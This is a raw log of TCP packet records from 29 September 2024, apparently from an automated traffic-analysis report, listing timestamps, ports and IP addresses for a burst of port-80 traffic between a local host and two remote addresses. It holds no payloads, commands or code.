Sep 29, 2024 00:53:24.358751059 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358752966 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358756065 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358763933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358769894 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358773947 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358776093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358783007 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358792067 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358813047 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358834028 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359083891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359091043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359102011 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359148979 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359148979 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359153032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359159946 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359172106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359178066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359204054 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359276056 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359288931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359294891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359306097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359318018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359323978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359333992 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359339952 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359347105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359348059 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359353065 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359359026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359364986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359369993 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359371901 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359406948 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359406948 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359420061 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359483004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359488010 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359504938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359510899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359520912 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359525919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359533072 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359549999 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359549999 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359549999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359556913 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359568119 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359574080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359576941 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359586000 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359596968 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359602928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359608889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359611988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359611988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359615088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359622955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359631062 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359662056 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359663010 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.359985113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359992981 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.359998941 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360043049 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360043049 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360065937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360073090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360084057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360090017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360095978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360100985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360126972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360135078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360141039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360146999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360152960 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360162973 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360169888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360183001 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360183001 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360205889 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360313892 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360783100 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360789061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360795021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360800028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360806942 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360811949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360824108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360830069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360831022 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360836029 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360841036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360847950 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360855103 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360871077 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360903978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360905886 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360910892 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360915899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360922098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360927105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360934019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360944986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360951900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360954046 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360955000 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360956907 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360963106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360969067 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360975027 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360980988 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360986948 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.360990047 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360990047 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.360994101 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361018896 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.361035109 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.361109018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361114979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361126900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361131907 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361138105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361143112 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361154079 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361159086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361165047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361176014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361177921 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.361177921 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.361181974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361188889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.361203909 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.361236095 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.362461090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362467051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362478018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362509012 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362515926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362526894 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362534046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362545967 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.362572908 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.362572908 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.362637043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362643957 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362649918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362654924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362660885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362667084 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362673044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362679005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.362709999 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.362729073 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.363198042 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.363325119 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.364136934 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364142895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364150047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364198923 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364198923 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364231110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364238024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364244938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364252090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364298105 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364298105 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364347935 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364355087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364366055 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364371061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364377022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364382982 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364387989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364393950 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364413977 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364451885 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364803076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364809990 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364821911 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364828110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364835978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364846945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364852905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364872932 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364897966 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364897966 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.364957094 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364969015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364974976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364985943 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364991903 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364998102 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.364999056 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365009069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365015984 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365021944 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365020990 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365035057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365037918 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365041971 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365060091 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365062952 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365066051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365072012 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365075111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365081072 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365087032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365098953 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365113020 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365114927 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365118027 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365122080 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365122080 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365149975 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365171909 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365202904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365209103 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365220070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365225077 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365231991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365237951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365242958 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365252972 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365259886 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365263939 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365264893 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365278006 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365279913 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365289927 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365303040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365315914 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365354061 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365354061 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365648031 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365660906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365672112 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365677118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365684032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365689993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365701914 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365730047 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365730047 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365751028 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365771055 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365777969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365788937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365793943 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365801096 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365807056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365809917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365816116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365822077 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.365822077 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365849018 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.365873098 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366090059 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366096020 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366101980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366106987 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366112947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366120100 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366132021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366146088 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366146088 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366168022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366168976 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366175890 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366180897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366187096 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366192102 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366204023 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366209984 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366223097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366229057 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366229057 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366261959 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366261959 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366398096 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366404057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366415977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366421938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366426945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366434097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366446018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366451979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366456985 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366457939 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366470098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366476059 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366498947 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366498947 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366523027 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366529942 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366539955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366545916 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366547108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366552114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366564035 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366569996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366569996 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366575956 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366581917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366589069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366589069 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366616964 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366616964 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366631985 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366638899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366653919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366658926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366687059 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366719007 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366758108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366764069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366770029 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366775036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.366813898 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.366813898 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367027044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367033958 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367039919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367046118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367053986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367064953 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367072105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367078066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367084026 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367084980 CEST	80	49712	176.113.115.95	192.168.2.9
